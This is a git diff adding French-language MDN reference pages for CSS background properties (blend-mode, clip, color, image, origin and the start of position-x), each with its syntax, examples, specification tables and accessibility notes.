index 0000000000..82cdf6bdd0
--- /dev/null
+++ b/files/fr/web/css/background-blend-mode/index.html
@@ -0,0 +1,120 @@
+---
+title: background-blend-mode
+slug: Web/CSS/background-blend-mode
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/background-blend-mode
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété CSS <strong><code>background-blend-mode</code></strong> définit la façon dont les images d'arrière-plan doivent être fusionnées entre elles et avec la couleur d'arrière-plan.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-blend-mode.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les modes de fusions (<em>blending modes</em>) doivent être définis dans le même ordre que les images sont définies avec {{cssxref("background-image")}}. Si la liste des modes de fusion et la liste des images d'arrière-plan ne sont pas de la même longueur, la première liste sera répétée ou tronquée pour que les longueurs soient égales.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Une valeur qui s'applique à toutes les images */
+background-blend-mode: normal;
+
+/* Deux valeurs, chacune pour une image */
+background-blend-mode: darken, luminosity;
+
+/* Valeurs globales */
+background-blend-mode: initial;
+background-blend-mode: inherit;
+background-blend-mode: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;blend-mode&gt;</code></dt>
+ <dd>Une valeur décrivant un mode de fusion (type {{cssxref("&lt;blend-mode&gt;")}}) qui doit être appliqué. On peut avoir plusieurs valeurs et dans ce cas, elles doivent être séparées par des virgules.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre>Syntaxe Formelle: normal | multiply | screen | overlay | darken | lighten | color-dodge | color-burn | hard-light | soft-light | difference | exclusion | hue | saturation | color | luminosity</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">#div {
+    width: 300px;
+    height: 300px;
+    background: url('https://mdn.mozillademos.org/files/8543/br.png'),url('https://mdn.mozillademos.org/files/8545/tr.png');
+    background-blend-mode: screen;
+}</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div id="div"&gt;&lt;/div&gt;
+
+&lt;select id="select"&gt;
+    &lt;option&gt;normal&lt;/option&gt;
+    &lt;option&gt;multiply&lt;/option&gt;
+    &lt;option selected&gt;screen&lt;/option&gt;
+    &lt;option&gt;overlay&lt;/option&gt;
+    &lt;option&gt;darken&lt;/option&gt;
+    &lt;option&gt;lighten&lt;/option&gt;
+    &lt;option&gt;color-dodge&lt;/option&gt;
+    &lt;option&gt;color-burn&lt;/option&gt;
+    &lt;option&gt;hard-light&lt;/option&gt;
+    &lt;option&gt;soft-light&lt;/option&gt;
+    &lt;option&gt;difference&lt;/option&gt;
+    &lt;option&gt;exclusion&lt;/option&gt;
+    &lt;option&gt;hue&lt;/option&gt;
+    &lt;option&gt;saturation&lt;/option&gt;
+    &lt;option&gt;color&lt;/option&gt;
+    &lt;option&gt;luminosity&lt;/option&gt;
+&lt;/select&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js ">document.getElementById("select").onchange = function(event) {
+    document.getElementById("div").style.backgroundBlendMode = document.getElementById("select").selectedOptions[0].innerHTML;
+}
+console.log(document.getElementById('div'));</pre>
+
+<p>{{EmbedLiveSample('Exemples', "330", "330")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Compositing', '#background-blend-mode', 'background-blend-mode')}}</td>
+   <td>{{Spec2('Compositing')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.background-blend-mode")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("&lt;blend-mode&gt;")}}</li>
+ <li>{{cssxref("mix-blend-mode")}}</li>
+</ul>
diff --git a/files/fr/web/css/background-clip/index.html b/files/fr/web/css/background-clip/index.html
new file mode 100644
index 0000000000..9b8e6c5426
--- /dev/null
+++ b/files/fr/web/css/background-clip/index.html
@@ -0,0 +1,151 @@
+---
+title: background-clip
+slug: Web/CSS/background-clip
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/background-clip
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>background-clip</code></strong> définit la façon dont l'arrière-plan d'un élément (que ce soit l'image ou la couleur) s'étend sous la boîte de bordure, la boîte de remplissage (<em>padding</em>) ou la boîte de contenu.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-clip.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Si aucune image ({{cssxref("background-image")}}) ni couleur ({{cssxref("background-color")}}) d'arrière-plan n'est définie, cette propriété aura uniquement un effet visuel lorsque la bordure possède des régions transparentes (via {{cssxref("border-style")}} ou {{cssxref("border-image")}}). Dans les autres cas, la bordure recouvrira la zone où se situera la différence .</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs utilisant un mot-clé */
+background-clip: border-box;
+background-clip: padding-box;
+background-clip: content-box;
+background-clip: text;
+
+/* Valeurs globales */
+background-clip: inherit;
+background-clip: initial;
+background-clip: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>border-box</code></dt>
+ <dd>L'arrière-plan s'étend jusqu'à la limite externe de la bordure. L'arrière-plan sera situé sous la bordure en termes d'ordre z.</dd>
+ <dt><code>padding-box</code></dt>
+ <dd>Aucun arrière-plan n'est dessiné dans la boîte de bordure. L'arrière-plan s'étend jusqu'à la limite de la boîte de remplissage (<em>padding</em>).</dd>
+ <dt><code>content-box</code></dt>
+ <dd>L'arrière-plan est limité (rogné) à la boîte de contenu.</dd>
+ <dt><code>text</code> {{experimental_inline}}</dt>
+ <dd>L'arrière-plan est limité (rogné) au texte en premier plan.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+ border: 10px navy;
+ border-style: dotted double;
+ margin: 1em;
+ padding: 2em;
+ background: #F8D575;
+ font: 900 1.2em sans-serif;
+ text-decoration: underline;
+}
+
+.border-box {
+  background-clip: border-box;
+}
+
+.padding-box {
+  background-clip: padding-box;
+}
+
+.content-box {
+  background-clip: content-box;
+}
+
+.text {
+  background-clip: text;
+  color: rgba(0,0,0,.2);
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="border-box"&gt;
+  L'arrière-plan s'étend sous la bordure.
+&lt;/p&gt;
+&lt;p class="padding-box"&gt;
+  L'arrière-plan s'étend jusqu'avant la
+  bordure.
+&lt;/p&gt;
+&lt;p class="content-box"&gt;
+  L'arrière-plan s'arrête à la boîte de
+  contenu.
+&lt;/p&gt;
+&lt;p class="text"&gt;
+  L'arrière-plan se limite au texte au
+  premier-plan.
+&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 600, 580)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background-clip', 'background-clip')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS4 Backgrounds', '#background-clip', 'background-clip')}}</td>
+   <td>{{Spec2('CSS4 Backgrounds')}}</td>
+   <td>Ajout de la valeur <code>text</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité présentées sur cette page ont été générées à partir de données organisées. Ces données sont présentes sur le dépôt GitHub <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>, n'hésitez pas à contribuer en proposant vos<em>pull request</em>.</p>
+
+<p>{{Compat("css.properties.background-clip")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("clip-path")}}</li>
+ <li>Les propriétés relatives à l'arrière-plan :
+  <ul>
+   <li>{{cssxref("background")}}</li>
+   <li>{{cssxref("background-color")}}</li>
+   <li>{{cssxref("background-image")}}</li>
+   <li>{{cssxref("background-origin")}}</li>
+  </ul>
+ </li>
+ <li><a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">Le modèle de boîtes CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/background-color/index.html b/files/fr/web/css/background-color/index.html
new file mode 100644
index 0000000000..06f072c36e
--- /dev/null
+++ b/files/fr/web/css/background-color/index.html
@@ -0,0 +1,161 @@
+---
+title: background-color
+slug: Web/CSS/background-color
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/background-color
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>background-color</code></strong> permet de définir la couleur utilisée pour l'arrière-plan d'un élément (celle-ci peut être une couleur transparente).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-color.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+background-color: red;
+
+
+/* Valeur hexadécimale */
+background-color: #bbff00;    /* Complètement opaque */
+background-color: #bf0;       /* Complètement opaque - notation raccourcie */
+background-color: #11ffee00;  /* Complètement transparent */
+background-color: #1fe0;      /* Complètement transparent - notation raccourcie */
+background-color: #11ffeeff;  /* Complètement opaque */
+background-color: #1fef;      /* Complètement opaque - notation raccourcie */
+
+/* Valeur RGB */
+background-color: rgb(255, 255, 128);
+
+/* Valeur RGBA : une valeur RGB avec un canal alpha */
+background-color: rgba(117, 190, 218, 0.0); /* 0.0 - transparent */
+background-color: rgba(117, 190, 218, 0.5); /* 0.5 - semi-transparent */
+background-color: rgba(117, 190, 218, 1.0); /* 1.0 - opaque */
+​​​​​​​
+/* Valeur HSLA */
+background-color: hsla(50, 33%, 25%, 0.75);
+
+/* Valeurs avec un mot-clé spécial */
+background-color: currentcolor;
+background-color: transparent;
+
+/* Valeurs globales */
+background-color: inherit;
+background-color: initial;
+background-color: unset;</pre>
+
+<p>La propriété <code>background-color</code> se définit grâce à une valeur de type <code>&lt;color&gt;</code>.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;color&gt;</code></dt>
+ <dd>Une valeur de type {{cssxref("&lt;color&gt;")}} qui indique la couleur uniforme de l'arrière-plan. Même si une ou plusieurs images sont définies grâce à {{cssxref("background-image")}}, la couleur peut avoir un impact en fonction de la transparence des images. De façon générale, c'est une bonne pratique que de définir une couleur malgré la présence d'image pour prévenir aux problèmes de chargement des images.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css;">.exemple_un {
+  background-color: teal;
+  color: white;
+}
+
+.exemple_deux {
+  background-color: rgb(153,102,153);
+  color: rgb(255,255,204);
+}
+
+.exemple_trois {
+  background-color: #777799;
+  color: #FFFFFF;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exemple_un"&gt;
+  Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;
+
+&lt;div class="exemple_deux"&gt;
+  Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;
+
+&lt;div class="exemple_trois"&gt;
+  Lorem ipsum dolor sit amet, consectetuer
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","200","150")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Il est important de vérifier que le contraste entre la couleur d'arrière-plan et la couleur du texte est suffisamment élevé afin que le contenu de la page puisse être lu, quelles que soient les conditions de vision.</p>
+
+<p>Le ratio de contraste entre les couleurs est déterminé en comparant la luminosité de la couleur du texte et celle de la couleur d'arrière-plan. Pour respecter les règles d'accessibilité <a href="https://www.w3.org/WAI/intro/wcag">Web Content Accessibility Guidelines (WCAG)</a>, il faut avoir un ratio de 4.5:1 pour le contenu textuel normal et un ratio de 3:1 pour les textes plus grands comme les titres (un texte sera considéré comme grand s'il est en gras et mesure au moins 18.66px ou s'il mesure au moins 24 pixels).</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/">Vérificateur de contraste WebAIM</a></li>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">Comprendre les règles WCAG 1.4</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html"><em>Understanding Success Criterion 1.4.3, W3C Understanding WCAG 2.0</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Commentaires</th>
+   <th scope="col">Retours</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#background-color', 'background-color')}}</td>
+   <td>Le mot-clé <code>transparent</code> a été retiré de la propriété pour être intégré au type de données {{cssxref("&lt;color&gt;")}} (dans la pratique, il n'y a aucune différence).</td>
+   <td><a href="https://github.com/w3c/csswg-drafts/labels/css-backgrounds-3"><em>Issues</em> GitHub pour la spécification Background de niveau 3 (en anglais)</a></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-color', 'background-color')}}</td>
+   <td>Aucune modification.</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background-color', 'background-color')}}</td>
+   <td>Définition initiale.</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<div>{{cssinfo}}</div>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité présentées sur cette page ont été générées à partir de données organisées. Ces données sont présentes sur le dépôt GitHub <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>, n'hésitez pas à contribuer en proposant vos<em>pull request</em>.</p>
+
+<p>{{Compat("css.properties.background-color")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>
+  <p><a href="/fr/docs/Web/CSS/CSS_Background_and_Borders/Utiliser_des_fonds_multiples">Gérer plusieurs arrières-plans</a></p>
+ </li>
+ <li>Le type de données {{cssxref("&lt;color&gt;")}}</li>
+ <li>Les autres propriétés relatives aux couleurs : {{cssxref("color")}}, {{cssxref("border-color")}}, {{cssxref("outline-color")}}, {{cssxref("text-decoration-color")}}, {{cssxref("text-emphasis-color")}}, {{cssxref("text-shadow")}}, {{cssxref("caret-color")}} et {{cssxref("column-rule-color")}}</li>
+ <li><a href="/fr/docs/Web/HTML/Applying_color">Appliquer des couleurs à des éléments HTML grâce à CSS</a></li>
+</ul>
diff --git a/files/fr/web/css/background-image/index.html b/files/fr/web/css/background-image/index.html
new file mode 100644
index 0000000000..25d4f59de3
--- /dev/null
+++ b/files/fr/web/css/background-image/index.html
@@ -0,0 +1,173 @@
+---
+title: background-image
+slug: Web/CSS/background-image
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/background-image
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>background-image</code></strong> permet de définir une ou plusieurs images comme arrière(s)-plan(s) pour un élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-image.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Les images sont dessinées les unes au-dessus des autres. La première image indiquée est dessinée comme étant la plus proche de l'utilisateur.</p>
+
+<p>Les bordures de l'élément sont dessinés par-dessus l'arrière-plan et la couleur {{cssxref("background-color")}} est dessinée sous l'arrière-plan. La position et les limites de chaque image sont gérées grâce aux propriétés {{cssxref("background-clip")}} et {{cssxref("background-origin")}}.</p>
+
+<p>Si une image donnée ne peut pas être chargée (par exemple lorsqu'il est impossible de charger un fichier via l'URI indiquée), les navigateurs considèreront la valeur comme <code>none</code>.</p>
+
+<div class="note"><strong>Note :</strong> Même si les images sont opaques et que les couleurs ne seront pas affichées de façon normale, les développeurs doivent toujours définir une couleur d'arrière-plan via {{cssxref("background-color")}} au cas où les images ne peuvent être chargées.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeur simple */
+background-image: url('https://example.com/bck.png');
+
+/* Plusieurs valeurs */
+background-image: url('https://example.com/top.png'), url('https://example.com/bottom.png');
+
+/* Valeur avec un mot-clé */
+background-image: none;
+
+/* Valeurs globales */
+background-image: inherit;
+background-image: initial;
+background-image: unset;
+</pre>
+
+<p>Chaque image d'arrière-plan peut être définie avec le mot-clé <code>none</code> ou avec une valeur de type <code>&lt;image&gt;</code>. Pour indiquer plusieurs images d'arrière-plan, on listera les différentes valeurs les unes à la suite des autres et séparées par des virgules :</p>
+
+<pre class="brush: css">background-image:
+  linear-gradient(to bottom, rgba(255,255,0,0.5), rgba(0,0,255,0.5)),
+  url("https://mdn.mozillademos.org/files/7693/catfront.png");
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>none</code></dt>
+ <dd>Un mot-clé qui indique qu'aucune image ne doit être utilisée comme arrière-plan.</dd>
+ <dt><code>&lt;image&gt;</code></dt>
+ <dd>Une valeur {{cssxref("&lt;image&gt;")}} qui indique l'image à afficher. On peut avoir plusieurs images en arrière-plan en séparant les valeurs par des virgules. Lorsque c'est une URL qui est utilisée, on peut aussi bien utiliser des simples quotes (<code>'texte_avec_double_quotes_"_'</code>) ou des doubles quotes (<code>"texte_avec_simple_quote_'_"</code>) pour encadrer le texte qui forme l'URL.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>On voit ici l'effet obtenu avec plusieurs images : l'étoile est légèrement transparente et se superpose par-dessus l'image du chat.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="catsandstars"&gt;
+    Un paragraphe avec des chats&lt;br/&gt;
+    et des étoiles.
+  &lt;/p&gt;
+  &lt;p&gt;Pas ici.&lt;/p&gt;
+  &lt;p class="catsandstars"&gt;
+    Et voilà encore des chats.&lt;br/&gt;
+    Et des étoiles !
+  &lt;/p&gt;
+  &lt;p&gt;Puis plus rien.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  font-size: 1.5em;
+  color: #FE7F88;
+  background-color: transparent;
+  background-image: none;
+}
+
+div {
+  background-image: url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png");
+}
+
+.catsandstars {
+  background-image:  url("https://mdn.mozillademos.org/files/11991/startransparent.gif"),
+                     url("https://mdn.mozillademos.org/files/7693/catfront.png");
+  background-color: transparent;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples')}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Les navigateurs ne fournissent pas d'informations spécifiques aux outils d'assistance quant aux images d'arrière-plan. Les lecteurs d'écran ne pourront donc pas annoncer le sens de l'image aux utilisateurs. Si l'image contient des informations critiques pour la compréhension générale de la page, mieux vaudra décrire ces informations de façon sémantique dans le document.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.1_%E2%80%94_Providing_text_alternatives_for_non-text_content">Comprendre les règles du WCAG 1.1</a></li>
+ <li><a href="https://www.w3.org/TR/2016/NOTE-UNDERSTANDING-WCAG20-20161007/text-equiv-all.html">Understanding Success Criterion 1.1.1 - W3C Understanding WCAG 2.0 (en anglais)</a></li>
+</ul>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#background-image', 'background-image')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>La propriété a été étendue pour gérer plusieurs arrières-plans et le type de donnée CSS {{cssxref("&lt;image&gt;")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.2', 'colors.html#propdef-background-image', 'background-image')}}</td>
+   <td>{{Spec2('CSS2.2')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'colors.html#propdef-background-image', 'background-image')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>La gestion des dimensions intrinsèques (lorsqu'elles sont absentes ou présentes) est décrite.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#background-image', 'background-image')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité présentées sur cette page ont été générées à partir de données organisées. Ces données sont présentes sur le dépôt GitHub <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>, n'hésitez pas à contribuer en proposant vos <em>pull request</em>.</p>
+
+<p>{{Compat("css.properties.background-image")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/CSS_Images/Sprites_CSS">Implémenter des sprites en CSS</a></li>
+ <li>{{HTMLElement("img")}},</li>
+ <li>{{cssxref("&lt;image&gt;")}},</li>
+ <li>{{cssxref("&lt;gradient&gt;")}},</li>
+ <li>{{cssxref("linear-gradient")}},</li>
+ <li>{{cssxref("radial-gradient")}},</li>
+ <li>{{cssxref("repeating-linear-gradient")}},</li>
+ <li>{{cssxref("repeating-radial-gradient")}},</li>
+ <li>{{cssxref("element")}},</li>
+ <li>{{cssxref("_image", "image()")}},</li>
+ <li>{{cssxref("image-set")}},</li>
+ <li>{{cssxref("url","url()")}}</li>
+</ul>
diff --git a/files/fr/web/css/background-origin/index.html b/files/fr/web/css/background-origin/index.html
new file mode 100644
index 0000000000..e43076730c
--- /dev/null
+++ b/files/fr/web/css/background-origin/index.html
@@ -0,0 +1,109 @@
+---
+title: background-origin
+slug: Web/CSS/background-origin
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/background-origin
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>background-origin</code></strong> détermine l'origine de l'arrière-plan {{cssxref("background-image")}} à partir de la bordure, à l'intérieur de la bordure ou à l'intérieur de la zone de remplissage (<em>padding</em>).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-origin.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Attention, <code>background-origin</code> est ignorée lorsque {{cssxref("background-attachment")}} vaut <code>fixed</code>.</p>
+
+<div class="note"><strong>Note : </strong>Cette propriété est rattachée à la propriété raccourcie {{cssxref("background")}}. Aussi, si on a une déclaration <code>background-origin</code> avant la propriété raccourcie et que cette dernière ne définit pas la valeur de l'origine, ce sera la valeur initiale par défaut qui sera prise en compte pour <code>background-origin</code>.</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+background-origin: border-box;
+background-origin: padding-box;
+background-origin: content-box;
+
+/* Valeurs globales */
+background-origin: inherit;
+background-origin: initial;
+background-origin: unset;
+</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>border-box</code></dt>
+ <dd>L'arrière-plan est positionné relativement à la boîte de bordure.</dd>
+ <dt><code>padding-box</code></dt>
+ <dd>L'arrière-plan est positionné relativement à la boîte de remplissage (<em>padding</em>).</dd>
+ <dt><code>content-box</code></dt>
+ <dd>L'arrière-plan est positionné relativement à la boîte de contenu.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css;">div {
+  width: 200px;
+  height: 100px;
+}
+
+.exemple {
+  border: 10px double;
+  padding: 10px;
+  background-image: url(https://mdn.mozillademos.org/files/12988/p_201.jpg);
+  background-color: palegreen;
+  background-position: 0px 40px;
+  background-origin: content-box;
+  background-repeat: no-repeat;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="exemple"&gt;&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","200")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Backgrounds', '#the-background-origin', 'background-origin')}}</td>
+   <td>{{Spec2('CSS3 Backgrounds')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">Les données de compatibilité présentées sur cette page ont été générées à partir de données organisées. Ces données sont présentes sur le dépôt GitHub <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>, n'hésitez pas à contribuer en proposant vos <em>pull request</em>.</p>
+
+<p>{{Compat("css.properties.background-origin")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("background-clip")}}</li>
+</ul>
diff --git a/files/fr/web/css/background-position-x/index.html b/files/fr/web/css/background-position-x/index.html
new file mode 100644
index 0000000000..b80a85a4da
--- /dev/null
+++ b/files/fr/web/css/background-position-x/index.html
@@ -0,0 +1,108 @@
+---
+title: background-position-x
+slug: Web/CSS/background-position-x
+tags:
+  - CSS
+  - Experimental
+  - Propriété
+  - Reference
+translation_of: Web/CSS/background-position-x
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>background-position-x</code></strong> définit la position horizontale initiale de chaque image d'arrière-plan par rapport à l'origine, définie avec {{cssxref("background-origin")}}.</p>
+
+<p>Pour plus d'informations, se référer à la documentation de la propriété {{cssxref("background-position")}} qui existe depuis plus longtemps.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/background-position-x.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
